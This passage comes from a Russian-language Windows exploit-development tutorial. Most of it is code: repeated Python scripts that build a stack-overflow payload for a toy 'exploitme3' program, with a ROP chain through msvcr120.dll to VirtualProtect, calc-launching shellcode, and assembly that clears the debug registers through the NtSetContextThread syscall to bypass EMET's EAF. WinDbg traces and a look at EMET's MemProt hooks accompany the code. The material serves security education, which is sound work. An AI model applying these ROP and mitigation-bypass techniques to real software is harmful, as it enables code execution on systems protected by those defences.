            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\x33\xC0" +         # xor    eax,eax
            "\x0F\x23\xC0" +     # mov    dr0,eax
            "\x0F\x23\xC8" +     # mov    dr1,eax
            "\x0F\x23\xD0" +     # mov    dr2,eax
            "\x0F\x23\xD8" +     # mov    dr3,eax
            "\x0F\x23\xF0" +     # mov    dr6,eax
            "\x0F\x23\xF8"       # mov    dr7,eax
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

Если запустим exploitme3, получим краш.

Откроем его в WinDbg и нажмем F5 (Go). Выполнение остановится на Single Step Exception. Чтобы отключить это раздражающее исключение, можно попросить WinDbg игнорировать его, выполнив следующую команду:

sxd sse

Где SSE означает Single Step Exception.

После того, как мы снова нажмем F5, сгенерируется еще одно исключение, и мы узнаем наш код:

0034d64a 0f23c0          mov     dr0,eax      <-------------- exception generated here
0034d64d 0f23c8          mov     dr1,eax
0034d650 0f23d0          mov     dr2,eax
0034d653 0f23d8          mov     dr3,eax
0034d656 0f23f0          mov     dr6,eax
0034d659 0f23f8          mov     dr7,eax

Проблема здесь в том, что мы не можем изменять отладочные регистры в User Mode (Ring 3). Единственный способ сделать это, состоит в том, чтобы передать эту задачу ОС.

Очистка отладочных регистров (2)

Я загуглил по такой фразе “mov dr0 privileged instruction” и нашёл такую статью:

[INDENT]www.symantec.com/connect/articles/windows-anti-debug-reference[/INDENT]

В ней можно найти способ модификации отладочных регистров. Он заключается в том, чтобы сначала определить обработчик исключений, а затем сгенерировать исключение (например, такое как деление на нуль). Когда произойдет исключение, Windows вызовет обработчик исключения и передаст ему указатель на структуру CONTEXT. Эта структура содержит значения регистров в момент, когда было сгенерировано исключение. Обработчик может модифицировать эти значения. После того, как он завершит свою работу, Windows распространит сделанные изменения на реальные регистры. Таким образом, мы можем изменить регистры отладки.

Вот код из статьи:

push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret

А вот наш C/C++ код:

#include <Windows.h>
#include <winnt.h>
#include <stdio.h>

int main() {
    CONTEXT context;
    printf("sizeof(context) = 0x%x\n", sizeof(context));
    printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context);
    printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS);
    printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context);
    printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context);
    printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context);
    printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context);
    printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context);
    printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context);
    printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context);

    _asm {
        // Attach handler to the exception handler chain.
        call    here
    here:
        add     dword ptr [esp], 0x22       // [esp] = handler
        push    dword ptr fs:[0]
        mov     fs:[0], esp

        // Generate the exception.
        xor     eax, eax
        div     eax

        // Restore the exception handler chain.
        pop     dword ptr fs:[0]
        add     esp, 4
        jmp     skip

    handler:
        mov     ecx, [esp + 0Ch]; skip div
        add     dword ptr [ecx + 0B8h], 2               // skip the "div eax" instruction
        xor     eax, eax
        mov     dword ptr [ecx + 04h], eax              // clean dr0
        mov     dword ptr [ecx + 08h], 0x11223344       // just for debugging!
        mov     dword ptr [ecx + 0Ch], eax              // clean dr2
        mov     dword ptr [ecx + 10h], eax              // clean dr3
        mov     dword ptr [ecx + 14h], eax              // clean dr6
        mov     dword ptr [ecx + 18h], eax              // clean dr7
        ret
    skip:
    }

    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &context);
    if (context.Dr1 == 0x11223344)
        printf("Everything OK!\n");
    else
        printf("Something's wrong :(\n");

    return 0;
}

Первая часть отображает смещения для EIP и отладочных регистров. Это сделано для того, чтобы мы могли убедиться в том, что смещения в ASM-коде правильные. Дальше идет код. Обратите внимание, мы присваиваем значение 0x11223344 регистру DR1 только для тестирования. В конце мы используем GetThreadContext для проверки того, что наш метод работает.

Эта программа не будет работать корректно, потому что SAFESEH.

И действительно, Visual Studio дает нам следующее предупреждение:

1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler

Давайте отключим SAFESEH. Для этого перейдем в “Project => Properties” и изменим конфигурацию для Release, как показано ниже:

  • Configuration Properties => Linker => Advanced => Image Has Safe Exception Handlers: No (/SAFESEH:NO)

Теперь программа должна работать корректно.

У нас не будет проблем с SAFESEH, когда мы вставим этот код в наш шеллкод, потому что наш код будет на стеке, а не внутри образа (image) exploitme3.

Вот Python скрипт для создания name.dat:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xE8\x00\x00\x00\x00" +            # call here (013E1008h)
        #here:
            "\x83\x04\x24\x22" +                # add dword ptr [esp],22h  ; [esp] = handler
            "\x64\xFF\x35\x00\x00\x00\x00" +    # push dword ptr fs:[0]
            "\x64\x89\x25\x00\x00\x00\x00" +    # mov dword ptr fs:[0],esp
            "\x33\xC0" +                        # xor eax,eax
            "\xF7\xF0" +                        # div eax,eax
            "\x64\x8F\x05\x00\x00\x00\x00" +    # pop dword ptr fs:[0]
            "\x83\xC4\x04" +                    # add esp,4
            "\xEB\x1A" +                        # jmp here+3Dh (013E1045h)  ; jmp skip
        #handler:
            "\x8B\x4C\x24\x0C" +                # mov ecx,dword ptr [esp+0Ch]
            "\x83\x81\xB8\x00\x00\x00\x02" +    # add dword ptr [ecx+0B8h],2
            "\x33\xC0" +                        # xor eax,eax
            "\x89\x41\x04" +                    # mov dword ptr [ecx+4],eax
            "\x89\x41\x08" +                    # mov dword ptr [ecx+8],eax
            "\x89\x41\x0C" +                    # mov dword ptr [ecx+0Ch],eax
            "\x89\x41\x10" +                    # mov dword ptr [ecx+10h],eax
            "\x89\x41\x14" +                    # mov dword ptr [ecx+14h],eax
            "\x89\x41\x18" +                    # mov dword ptr [ecx+18h],eax
            "\xC3"                              # ret
        #skip:
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

Если запустим explitme3, получим краш. Возможно мы что-то сделали не так?

Давайте отладим программу в WinDbg. Откройте exploitme3.exe в WinDbg и нажмите F5 (Go). Получив знакомое исключение (Single Step Exception), введите команду sxd sse и снова нажмите F5. Как и ожидалось, мы получим исключение, вызванное делением на нуль:

(610.a58): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
0015d869 f7f0            div     eax,eax

Это First-chance Exception, поэтому если мы нажмем F5 (Go) снова, оно будет передано в программу.

0:000> !exchain
0015d844: 0015d877
0015ff50: exploitme3!_except_handler4+0 (00381739)
  CRT scope  0, filter: exploitme3!__tmainCRTStartup+115 (003812ca)
                func:   exploitme3!__tmainCRTStartup+129 (003812de)
0015ff9c: ntdll!_except_handler4+0 (76f071f5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (76f074d0)
                func:   ntdll!__RtlUserThreadStart+63 (76f090eb)

Все кажется правильно!

После того как нажмем F5 (Go), мы попадем сюда:

(610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
0015d869 f7f0            div     eax,eax

Почему программа не обрабатывает исключение? Причина в SafeSEH!

Я забыл, что для обработчика недостаточно находиться в модуле без SafeSEH: он вообще не должен быть в стеке!

Очистка отладочных регистров (3)

SafeSEH может быть обойден, но, вероятно, не без помощи некоторых жестко заданных адресов, которые помогут его победить.

Нужно еще добавить, что если бы мы не зарезервировали больше памяти в стеке, путем выделения там массива moreStack (см. начальный код программы на C/C++), то наш шеллкод перезаписал бы цепочку обработчиков исключений и таким образом, SEHOP, все равно остановил его. SEHOP проверяет, что цепочка обработчиков исключений заканчивается на ntdll!_except_handler4. Мы не можем восстановить эту цепочку, если не знаем адрес этого обработчика. Поэтому данный путь не является жизнеспособным.

Другой способ очистить отладочные регистры состоит в использовании kernel32!SetThreadContext. То что у нас нет адреса этой функции, не значит что мы должны сдаваться. Мы знаем, что SetThreadContext не может очищать отладочные регистры в User Mode, поэтому, в какой-то момент, для этой цели, она должна вызвать какой-то Ring 0 сервис.

Ring 0 сервис обычно вызывается через прерывания или специфические инструкции процессора, такие как SYSENTER (Intel) и SYSCALL (AMD). К счастью для нас, эти сервисы обычно определяются небольшими константами, которые жестко прописаны в ОС и таким образом не меняются после перезагрузки и даже после выхода новых сервис паков.

Давайте начнем с написания небольшой программы на C/C++:

#include <Windows.h>
#include <stdio.h>

int main() {
    CONTEXT context;
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    context.Dr0 = 0;
    context.Dr1 = 0;
    context.Dr2 = 0;
    context.Dr3 = 0;
    context.Dr6 = 0;
    context.Dr7 = 0;

    if (!SetThreadContext(GetCurrentThread(), &context))
        printf("Error!\n");
    else
        printf("OK!\n");

    return 0;
}

Теперь отладим её с помощью WinDbg. Поставьте брейкпойнт на kernel32!SetThreadContext и нажмите F5 (Go). Функция SetThreadContext очень короткая:

kernel32!SetThreadContext:
764358d3 8bff            mov     edi,edi
764358d5 55              push    ebp
764358d6 8bec            mov     ebp,esp
764358d8 ff750c          push    dword ptr [ebp+0Ch]      <--------- 002df954 = &context
764358db ff7508          push    dword ptr [ebp+8]        <--------- 0xfffffffe = GetCurrentThread()
764358de ff15f8013b76    call    dword ptr [kernel32!_imp__NtSetContextThread (763b01f8)]
764358e4 85c0            test    eax,eax
764358e6 7d0a            jge     kernel32!SetThreadContext+0x1f (764358f2)
764358e8 50              push    eax
764358e9 e846bdf7ff      call    kernel32!BaseSetLastNTError (763b1634)
764358ee 33c0            xor     eax,eax
764358f0 eb03            jmp     kernel32!SetThreadContext+0x22 (764358f5)
764358f2 33c0            xor     eax,eax
764358f4 40              inc     eax
764358f5 5d              pop     ebp
764358f6 c20800          ret     8

Обратите внимание, в первый вызов передается два параметра. Давайте зайдем внутрь этого вызова:

ntdll!ZwSetBootOptions:
76eb1908 b84f010000      mov     eax,14Fh
76eb190d 33c9            xor     ecx,ecx
76eb190f 8d542404        lea     edx,[esp+4]
76eb1913 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb191a 83c404          add     esp,4
76eb191d c20800          ret     8
ntdll!ZwSetContextThread:         <------------------------ we are here!
76eb1920 b850010000      mov     eax,150h
76eb1925 33c9            xor     ecx,ecx
76eb1927 8d542404        lea     edx,[esp+4]
76eb192b 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb1932 83c404          add     esp,4
76eb1935 c20800          ret     8
ntdll!NtSetDebugFilterState:
76eb1938 b851010000      mov     eax,151h
76eb193d b90a000000      mov     ecx,0Ah
76eb1942 8d542404        lea     edx,[esp+4]
76eb1946 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb194d 83c404          add     esp,4
76eb1950 c20c00          ret     0Ch
76eb1953 90              nop

Это кажется очень интересным! Что это за вызов? Выше и ниже мы видим другие похожие функции с разными значениями для регистра EAX. EAX может быть номером сервиса. Значение в RET инструкции зависит от количества аргументов, конечно.

Заметьте, что EDX будет указывать на два аргумента в стеке:

0:000> dd edx L2
002df93c  fffffffe 002df954

Давайте зайдем в этот вызов:

747e2320 ea1e277e743300  jmp     0033:747E271E

Far Jump: как интересно! Когда мы зайдем в этот вызов, обнаружим, что мы оказались сразу после инструкции CALL.

ntdll!ZwQueryInformationProcess:
  76eafad8 b816000000      mov     eax,16h
  76eafadd 33c9            xor     ecx,ecx
  76eafadf 8d542404        lea     edx,[esp+4]
  76eafae3 64ff15c0000000  call    dword ptr fs:[0C0h]
  76eafaea 83c404          add     esp,4      <--------------------- we are here!
  76eafaed c21400          ret     14h

Почему это происходит и каково назначение этого Far Jump? Возможно он используется для перехода на 64-битный код? Повторив весь процесс в 64-битной версии WinDbg, мы узнаем, что этот джамп приведет нас сюда:

wow64cpu!CpupReturnFromSimulatedCode:
00000000`747e271e 67448b0424      mov     r8d,dword ptr [esp] ds:00000000`0037f994=76eb1932
00000000`747e2723 458985bc000000  mov     dword ptr [r13+0BCh],r8d
00000000`747e272a 4189a5c8000000  mov     dword ptr [r13+0C8h],esp
00000000`747e2731 498ba42480140000 mov     rsp,qword ptr [r12+1480h]
00000000`747e2739 4983a4248014000000 and   qword ptr [r12+1480h],0
00000000`747e2742 448bda          mov     r11d,edx

Мы были правы! Если мы продолжим идти по коду, то дойдем до следующего вызова:

00000000`747e276e 8bc8            mov     ecx,eax
00000000`747e2770 ff150ae9ffff    call    qword ptr [wow64cpu!_imp_Wow64SystemServiceEx (00000000`747e1080)]

Заметьте, что ECX равен 150, наш номер сервиса. Нам не нужно идти так глубоко. В любом случае, мы достигнем этого кода:

ntdll!NtSetInformationThread:
00000000`76d01380 4c8bd1          mov     r10,rcx
00000000`76d01383 b80a000000      mov     eax,0Ah
00000000`76d01388 0f05            syscall
00000000`76d0138a c3              ret

Итак, в вызове Ring 0 сервиса участвует два перехода:

  1. из 32-битного кода (Ring 3) в 64-битный код (Ring 3)
  2. из 64-битного кода (Ring 3) в 64-битный код (Ring 0)

Но нам не нужно иметь дело со всем этим. Всё что нам нужно сделать это:

  1. Установить EAX = 0x150
  2. Очистить ECX
  3. Сделать так, чтобы EDX указывал на наши аргументы
  4. Вызывать код указывающий на fs:[0C0h]

Как можно видеть, этот код не подвержен ASLR.

Теперь мы наконец-то можем написать код для очистки отладочных регистров:

mov     eax, 150h
xor     ecx, ecx
sub     esp, 2cch                       ; makes space for CONTEXT
mov     dword ptr [esp], 10010h         ; CONTEXT_DEBUG_REGISTERS
mov     dword ptr [esp + 4], ecx        ; context.Dr0 = 0
mov     dword ptr [esp + 8], ecx        ; context.Dr1 = 0
mov     dword ptr [esp + 0ch], ecx      ; context.Dr2 = 0
mov     dword ptr [esp + 10h], ecx      ; context.Dr3 = 0
mov     dword ptr [esp + 14h], ecx      ; context.Dr6 = 0
mov     dword ptr [esp + 18h], ecx      ; context.Dr7 = 0
push    esp
push    0fffffffeh                      ; current thread
mov     edx, esp
call    dword ptr fs : [0C0h]           ; this also decrements ESP by 4
add     esp, 4 + 2cch + 8

В конце кода, мы восстанавливаем ESP, но это не является строго необходимым.

Вот полный скрипт на Питоне:

import struct

# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );

# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

Если запустим exploitme3.exe, появится калькулятор! Мы обошли EAF! Можно так же включить EAF+, ничего не изменится.

MemProt

В нашем эксплойте мы используем VirtualProtect, чтобы сделать участок стека, где лежит шеллкод, исполняемым. Чтобы этому воспрепятствовать в EMET реализована техника MemProt. Давайте включим её для exploitme3.exe и попробуем запустить эту программу снова. Как и ожидалось, MemProt остановит выполнение нашего шеллкода и exploitme3 вызовет краш.

Давайте посмотрим на работу программы в отладчике и выясним, что же там такое происходит. Откройте exploitme3.exe в WinDbg и поставьте брейкпойнт на exploitme3!f. После срабатывания брейкпойнта, пройдите через весь код функции f до инструкции RET. После её выполнения мы попадем на наш ROP-код. Продолжайте идти дальше, до тех пор, пока вы не дойдете до перехода (jmp) на VirtualProtect.

Здесь мы видим что-то странное:

kernel32!VirtualProtectStub:
763b4327 e984c1b5c0      jmp     36f104b0     <------------------ is this a hook?
763b432c 5d              pop     ebp
763b432d e996cdffff      jmp     kernel32!VirtualProtect (763b10c8)
763b4332 8b0e            mov     ecx,dword ptr [esi]
763b4334 8908            mov     dword ptr [eax],ecx
763b4336 8b4e04          mov     ecx,dword ptr [esi+4]
763b4339 894804          mov     dword ptr [eax+4],ecx
763b433c e9e9eaffff      jmp     kernel32!LocalBaseRegEnumKey+0x292 (763b2e2a)
763b4341 8b85d0feffff    mov     eax,dword ptr [ebp-130h]

Эта функция начинается с инструкции JMP! Посмотрим куда она нас приведет:

36f104b0 83ec24          sub     esp,24h
36f104b3 68e88b1812      push    12188BE8h
36f104b8 6840208f70      push    offset EMET!EMETSendCert+0xac0 (708f2040)
36f104bd 68d604f136      push    36F104D6h
36f104c2 6804000000      push    4
36f104c7 53              push    ebx
36f104c8 60              pushad
36f104c9 54              push    esp
36f104ca e8816c9a39      call    EMET+0x27150 (708b7150)
36f104cf 61              popad
36f104d0 83c438          add     esp,38h
36f104d3 c21000          ret     10h

Окей, это EMET. Инструкция JMP является хуком, при помощи которого EMET перехватывает вызовы VirtualProtect.

Если бы не было этого хука, VirtualProtectStub вызывал kernel32!VirtualProtect. Давайте посмотрим на это.

0:000> u kernel32!VirtualProtect
kernel32!VirtualProtect:
763b10c8 ff2518093b76    jmp     dword ptr [kernel32!_imp__VirtualProtect (763b0918)]
763b10ce 90              nop
763b10cf 90              nop
763b10d0 90              nop
763b10d1 90              nop
763b10d2 90              nop
kernel32!WriteProcessMemory:
763b10d3 ff251c093b76    jmp     dword ptr [kernel32!_imp__WriteProcessMemory (763b091c)]
763b10d9 90              nop

Тут мы видим просто редирект, который не имеет ничего общего с EMET:

0:000> u poi(763b0918)
KERNELBASE!VirtualProtect:
7625efc3 e9d815cbc0      jmp     36f105a0     <----------------- another hook from EMET
7625efc8 ff7514          push    dword ptr [ebp+14h]
7625efcb ff7510          push    dword ptr [ebp+10h]
7625efce ff750c          push    dword ptr [ebp+0Ch]
